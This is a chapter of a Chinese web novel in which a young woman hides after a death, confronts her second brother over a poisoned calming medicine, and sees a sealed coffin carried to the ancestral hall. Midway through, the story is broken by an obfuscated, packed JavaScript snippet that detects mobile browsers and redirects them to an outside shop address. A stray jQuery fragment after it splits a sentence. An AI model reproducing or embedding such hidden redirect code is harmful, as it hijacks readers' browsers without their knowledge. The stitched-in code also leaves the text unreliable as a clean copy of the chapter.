文趣网 > 其他小说 > 祠堂外的第四盏灯 > 4. 第4章
    顾栖灯和沈见微躲进后园废弃的茶房时,天还没亮。

    茶房多年无人使用,窗纸破了大半,桌椅上积着厚灰。顾栖灯坐在最里面,背靠冰冷的墙,手心仍沾着云娘的血。

    她摊开掌心。

    照归牌被她攥得发烫。

    铜牌边缘有被火烧过的痕迹,正面的半盏灯下刻着两个字:照归。背面则有一道极细的凹槽,像曾经嵌过什么东西。

    沈见微守在门边,听了片刻外头的动静,才压低声音道:“追兵往东院去了。”

    顾栖灯抬头。

    “他们以为你会回去。”

    “我本来就要回去。”

    “阿栖。”

    “云娘说栖霞寺有祭文和账簿,但我们现在出不了顾宅。”顾栖灯的声音很轻,却很稳,“东院里有我的东西,也有大哥、二哥最容易来找我的地方。我要先弄清他们知道多少。”

    沈见微皱眉:“你还想回去试他们?”

    “不是试。”

    顾栖灯低头,看着掌心里那块铜牌。

    “是给自己留一条路。”

    她已经知道顾家有人想杀她,也知道二哥的药可能有问题。若她此刻逃出顾宅,固然能活一时,却会失去所有线索;若长老想让她消失,外头的追兵也不会比顾宅更少。

    更何况,云娘临死前说的是:别让他们把你送回灯里。

    顾栖灯想知道,所谓“送回灯里”究竟是什么意思。

    她不能永远只跑。

    “那我们怎么回去?”沈见微问。

    顾栖灯抬起头。

    “从你翻进来的窗回去。”

    “你要装作什么都没发生?”

    “对。”

    “可你这一身血——”

    顾栖灯低头。

    她的深色旧衣已经被血浸透,袖口和裙摆都藏不住。她没有立刻回答,而是伸手摸向茶房角落。那里摆着一只旧水缸,缸里积着雨水,旁边还有一堆被人遗忘的柴灰。

    “帮我烧掉外衣。”她说。

    沈见微愣住。

    “你没有别的衣服。”

    “你有。”

    沈见微看了一眼自己身上的短褂,又看了看顾栖灯。

    “你要穿我的?”

    “总比被人一眼看出来好。”

    沈见微没再说什么。

    两人迅速换了衣裳。顾栖灯用雨水洗掉手上的血,再将柴灰抹在脸颊与额角,遮住过于苍白的脸色。她把照归牌绑在小腿内侧,又将云娘的香囊缝进衣襟最里面。

    做完这些,她看向沈见微。

    “你从后墙出去。”

    “我不走。”

    “你得去栖霞寺。”

    “现在?”

    “先去看看路,再把云娘说的铁匣、佛塔、半页祭文记下来。若我今晚能离开顾宅,我们在那里会合;若我不能——”

    “别说。”

    顾栖灯停住。

    沈见微看着她,神色难得认真。

    “你会出来。”她说,“但我会在栖霞寺留下标记。你若真被困住,也知道我查到哪里。”

    顾栖灯点头。

    她们从茶房后窗出去。

    天将亮未亮,顾宅的墙影在雨后泛着灰白。沈见微翻上后墙前,忽然回头问:“你为什么不去找大哥?”

    顾栖灯站在墙下。

    她想起顾承晏站在祠堂门内时的沉默,想起他替她添过无数次灯油,也想起云娘背上的箭。

    “因为我现在不知道,他会先信我,还是先信顾家。”

    沈见微没有再问。

    她翻出墙外,很快消失在临江尚未醒来的夜色里。

    顾栖灯则绕回东院。

    她没有直接从窗翻进去,而是在院外等了一会儿。果然,守在院门前的护卫很快发现了她。

    “四小姐?”

    护卫脸色一变。

    顾栖灯扶着墙,故意让自己显得狼狈些。

    “我夜里听见外头有声音,以为阿芜出事,想去找她。”她低声道,“走到后园迷了路。”

    护卫神色复杂。

    “小姐,您怎能独自出院?家主吩咐——”

    “我知道。”顾栖灯垂下眼,“是我不对。”

    她这副模样让护卫一时说不出重话。

    其中一人转身去请管事,另一人则带她回东院。顾栖灯经过院门时,余光看见地上有一串凌乱脚印,一路往后园方向延伸。

    追兵来过。

    可他们没有搜到她。

    这说明他们还不确定她是否见过云娘,也还不想惊动大哥。

    顾栖灯心里稍稍定下来。

    回到屋里后,她先去看床底的木匣。

    小铜灯还在。

    蜡丸、白梅纸条和红线都藏在灯座里,没有被人动过。她松了一口气,刚把木匣推回去,阿芜便红着眼睛跑进来。

    “小姐,您去哪儿了?奴婢一醒来就找不见您,守卫说您夜里翻窗出去——”

    “我没事。”顾栖灯握住她的手,“阿芜,昨夜有没有谁来过我房里?”

    阿芜想了想。

    “二公子来过一次。”

    顾栖灯心里一动。

    “他做了什么?”

    “二公子说您夜里受了惊,要给您换一盏安神灯。他在桌上放了个香囊,后来又拿走了。”

    “香囊什么颜色?”

    “红色的。”

    顾栖灯缓缓松开阿芜的手。

    赤砂香。

    二哥来过。

    他或许知道她手腕发烫,也或许只是替大哥做事。可无论哪一种,顾长舟都没有告诉她。

    “小姐,您脸色好差。”阿芜担忧道,“我去请二公子。”

    顾栖灯还没来得及阻止,门外已经传来熟悉的脚步声。

    顾长舟走进来时,手里拎着药箱。

    他仍穿着月白长衫,发间沾着些晨雾,脸上带着惯常温和的笑。只是他眼下有一点淡淡的青,像昨夜也没有睡好。

    “听说你又乱跑了?”

    顾栖灯坐在桌边,没有立刻答。

    “二哥,你昨夜来过?”

    顾长舟的脚步顿了一下。

    “来过。”

    “为什么?”

    “你在祠堂外淋了雨,又受了惊,我怕你夜里发热。”

    “那你给我留了什么?”

    顾长舟看着她。

    “安神香。”

    “里面有赤砂吗?”

    屋里安静下来。

    阿芜站在一旁,不知该不该退。

    顾长舟的笑意慢慢淡下去。

    “有一点。”

    “为什么?”

    “赤砂能安神。”

    “也能压住灯印。”

    顾长舟猛地抬眼。

    顾栖灯盯着他。

    “你知道。”

    “阿栖。”

    “你知道第四盏灯为什么会亮,也知道我手腕上的印记不是普通胎记。”她一字一句道,“你还知道云娘是谁。”

    顾长舟的脸色终于变了。

    “你见过云娘?”

    顾栖灯没有回答。

    他的反应已经给了她答案。

    二哥认识云娘。

    而云娘说得没错,顾家里没有一个人真的什么都不知道。

    顾长舟走到她面前,声音放得很低:“她跟你说了什么?”

    “你先告诉我,她是谁。”

    顾长舟沉默。

    “她曾经是守灯人。”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17968828|214618||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    他说,“也是……你母亲身边的人。”

    顾栖灯心里一震。

    这是今晚以来,第二个承认沈兰烛存在的人。

    “我母亲还活着吗?”

    顾长舟的手指轻轻蜷起。

    “我不知道。”

    “你们每个人都说不知道。”

    “因为我真的不知道她在哪儿。”顾长舟苦笑了一下,“我只知道,十六年前她带着你离开顾家,后来顾夫人把你带回来。父亲不许任何人再提她,长老也不许。”

    “那我为什么会在顾家?”

    “因为顾夫人说你是她捡回来的孩子。”

    “你信?”

    “我小时候信。”

    “现在呢?”

    顾长舟没有回答。

    顾栖灯望着他,忽然觉得有些失望。

    她原本以为二哥至少会告诉她实话。可他还是在每一句最重要的地方停下来,像只要不把话说完,便不用真正选择站在哪一边。

    “二哥。”她轻声问,“你给我送的药,到底是为了救我,还是为了让别人找不到我?”

    顾长舟的神色僵住。

    过了很久,他才道:“都有。”

    顾栖灯没再说话。

    这个答案比撒谎更让她难过。

    “我不会喝。”她说。

    顾长舟看着她。

    “阿栖,赤砂香会伤身,可若没有它,你的灯印会越来越明显。长老一旦确认你——”

    “确认我什么?”

    顾长舟闭上嘴。

    顾栖灯忽然笑了一下。

    “你看,又来了。”

    她不再逼问。

    因为她已经明白,二哥不会在此刻告诉她全部答案。再问下去,只会让他更害怕,也会让自己失去继续查下去的机会。

    “药放着吧。”她说,“我晚些喝。”

    顾长舟没有动。

    “你不信我。”

    “我信你不想害我。”顾栖灯道,“但我不信你会把所有事告诉我。”

    顾长舟脸色发白。

    他站了一会儿,最终将药碗放在桌上,转身离开。

    走到门口时,他停住脚步。

    “阿栖。”

    顾栖灯没有抬头。

    “今天别靠近祠堂。”

    “为什么?”

    “因为他们要把棺材抬进去。”

    顾栖灯猛地抬头。

    顾长舟似乎意识到自己说漏了话,脸色一变,匆匆离开。

    顾栖灯坐在原地,盯着那碗药。

    药汁表面浮着一层极淡的红色油光。

    她没有倒掉。

    而是拿起茶匙,舀出一点,滴进窗边那盆兰草根部。

    不过片刻,兰草叶尖便开始发黑、卷曲。

    阿芜回来时,顾栖灯已经重新将药碗摆好。

    傍晚,顾宅果然又热闹起来。

    她踩着石凳从墙头望出去,只见十几个仆从抬着一口黑木棺,从祠堂旁的偏门缓缓经过。棺木很长,四角缠满黄符,抬棺的人都低着头,不敢往旁边看。

    顾栖灯盯着那口棺材。

    她不知道里面是什么。

    可她想起云娘说过的“别让他们把你送回灯里”,又想起二哥方才失口提到的棺材,心里忽然生出一个荒唐却清晰的念头。

    那口棺材,也许不是装死人的。

    它或许装着一个知道她母亲下落的人。

    黑棺经过墙外时,里面忽然传来一声极轻的敲击。

    笃。

    顾栖灯浑身一僵。

    她没有再等任何人来给她解释。

    她跳下石凳,转身去找藏在床底的小铜灯、木簪和那块照归牌。

    今晚,她要去祠堂。